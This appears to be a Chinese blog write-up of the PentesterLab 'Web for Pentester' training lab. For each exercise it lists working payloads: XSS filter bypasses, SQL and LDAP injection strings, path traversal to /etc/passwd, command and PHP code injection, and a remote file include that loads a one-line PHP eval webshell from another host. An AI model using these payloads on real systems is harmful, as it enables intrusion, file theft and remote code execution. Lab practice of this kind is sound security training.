Web For Pentester

Web for Pentester


传统漏洞之前学习过一段时间,但在实际工作中用的并不顺手,我想找个系统点的靶场来进行练习,于是找到了Web for Pentester。

Web for Pentester是PentesterLab提供的靶场,ISO下载地址:Web  for Pentester 

 

平台主要包含如下漏洞:

Code injection (代码注入)

Commands injection(命令行注入)

XSS(跨站脚本)

SQL injections(sql注入)

File include(文件包含)

LDAP attacks(LDAP攻击)

File Upload(文件上传)

XML attacks(XML攻击)

 

 

 

实战

用netdiscover局域网查找靶机

 

 

 

使用 Nmap 扫描靶机端口

 

访问靶机80端口

 

 

 

 

XSS

Example1

基本xss

<script>alert(/xss/)</script>

 

 

 

Example2

<script>和</script>被过滤,用大小写绕过:
<scRipt>alert(/xss/)</SCript>

 

 

 

Example3

字符拼接方式绕过:
<scr<script>ipt>alert(/xss/)</scr</sCript>ipt>

 

 

Example4

script彻底屏蔽,换一个标签:
<img src='' onerror="alert('xss');">

 

 

Example5

过滤了alert:  
<script>prompt('xss')</script>

 

 

Example6

输入放到script标签里面了,自己构造脚本就好( \\ 是js的注释符): 
";alert(/xss/);//

 

 

Example7

双引号换成单引号:

';alert(/xss/);//

 

 

Example8

还可以这样

/"><script>alert(1)</script>

 

 

Example9

用到locaiton.has,DOM型xss。

/xss/example9.php#<script>alert(/xss/)</script>,理论上来说这样应该可行,实际上不行,<>被编码了,无法弹出alert:

hmm...查了一下资料,这里的编码并不是咱们能控制的,与不同浏览器内部解释机制有关。。chrome和firefox都会对<>编码,然鹅,ie木有(这么看来ie不能卸!!)

<script>alert(/xss/)</script>

 

SQL injections

Example1

'or 1=1+--+

 

 

 Example2

'/**/or/**/'1'='1

 

 

 

 

Example3

'/**/or/**/'1'='1

  

 

 

 

Example4

or 1=1

  

 

 

 

Example5

or 1=1

  

 

 

Example9

IF(1,name,age)

 

 

 

 

Directory traversal

Example1

../../../../../../etc/passwd

 

 

 

Example2

/var/www/files/../../../../../../etc/passwd

 

 

 

 

Example3

../../../../etc/passwd%00.png

 

 

 

 

File Include

Example1

/etc/passwd

 

 

 

Example2

/etc/passwd%00

 

 

 本地包含木马

/fileincl/example2.php?page=http://192.168.0.102/shell.txt
一句话PHP木马:
<?php @eval($POST['123']);?>

 

 

 

 

Code injection

Example1

".system('ls');//

php把获取到参数拼接进$str变量,然后eval()函数执行php语句。没有任何过滤,只要保证最后语法正确可以执行。

注: 注释掉的代码是我自己加上,你也可以自己加上,更直观一点,下面默认都是加上的。

 

 

 

Example2

);}system('ls');//

usort() 使用用户自定义的比较函数对数组进行排序。语法:usort(array,myfunction);

usort()经常与该功能create_function一起使用,以基于用户控制的信息动态生成“分类”功能。如果Web应用程序缺乏有效的筛选和验证,则可能导致代码执行。

 

 

 

Example3

system('ls')&pattern=/lamer/e&base=Hello%20lamer

preg_replace()函数:

mixed preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [, int $limit = -1 [, int &$count ]] )搜索 subject 中匹配 pattern 的部分, 以 replacement 进行替换。

 

 

 

Example4

'.system('ls').'

看到assert函数就要警惕了,和eval函数都是一句话后门程序。区别在于eval函数中参数是字符串,assert函数中的参数是表达式或者是函数。

trim() 函数移除字符串两侧的空白字符或其他预定义字符。

htmlentities() 函数把字符串转换为HTML实体。

 

 

 

Commands injection

Example1

127.0.0.1 | cat /etc/passwd

 

 

 

 

Example2

%0A cat /etc/passwd

 

 

 

 

 

Example3

|uname+-a

 

 

 

 

LDAP attacks

Example1

发送空值,LDAP服务器会继续绑定链接

 

 

 

Example2

Example2的后端源代码,需要传入两个参数一个是name另一个是password,password由于在传入后被md5加密,所以基本不能注入,所以这里我们考虑name

LDAP经常使用通配符*字符来匹配任何值。还有需要注意的就是和别的注入相似我们也需要注释掉后面没用的代码,ldap可以使用NULL BYTE(即%00)来注释掉后面的代码。

下面我们就通配符*做一个简单的测试:

username=hacker&password=hacker 得到认证(这是正常的情况)。

username=hack*&password=hacker 得到认证(通配符匹配相同的值)。

username=hacker&password=hac* 没有得到认证(密码可能会被md5、hash加密过)。

 

a*)(cn=*))%00password=aaa

 

 

 

File Upload

Example1

可以直接上传文件

 

 

Example2

不允许上传php后缀文件,这里可以把后缀改为test

 

 

XML attacks

Example1

 

 

Example2

hacker ' or 1=1']%00

 

 

 

posted @ 2020-10-01 20:43  暮日温柔  阅读(1634)  评论(0编辑  收藏  举报